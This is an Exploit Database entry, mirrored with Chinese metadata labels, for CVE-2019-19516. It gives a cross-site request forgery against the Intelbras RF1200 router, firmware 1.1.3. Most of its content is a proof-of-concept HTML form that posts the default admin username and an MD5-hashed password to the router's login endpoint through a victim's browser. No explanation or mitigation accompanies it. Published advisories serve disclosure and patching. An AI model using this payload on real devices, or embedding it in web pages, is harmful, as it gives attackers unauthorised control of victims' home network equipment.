Intelbras Router RF1200 1.1.3 – Cross-Site Request Forgery

Exploit Database
163 阅读

作者： Prof. Joas Antonio

日期： 2019-12-03
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/47738/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

# Exploit Title: Intelbras Router RF1200 1.1.3 - Cross-Site Request Forgery

# Date: 2019-11-06

# Exploit Author: Joas Antonio

# Vendor Homepage: intelbras.com.br

# Software Link: https://www.intelbras.com/pt-br/roteador-wireless-smart-dual-band-action-rf-1200

# Version: 1.1.3 (REQUIRED)

# Tested on: Windows

# CVE : CVE-2019-19516

#POC1:

<html>

<body>

<form method="POST" action="http://IPROUTERRF1200/login/Auth">

<input type="hidden" name="username" value="admin"/>

<input type="hidden" name="password" value="21232f297a57a5a743894a0e4a801fc3"/>

<input type="submit" value="Submit">

</form>

</body>

<html>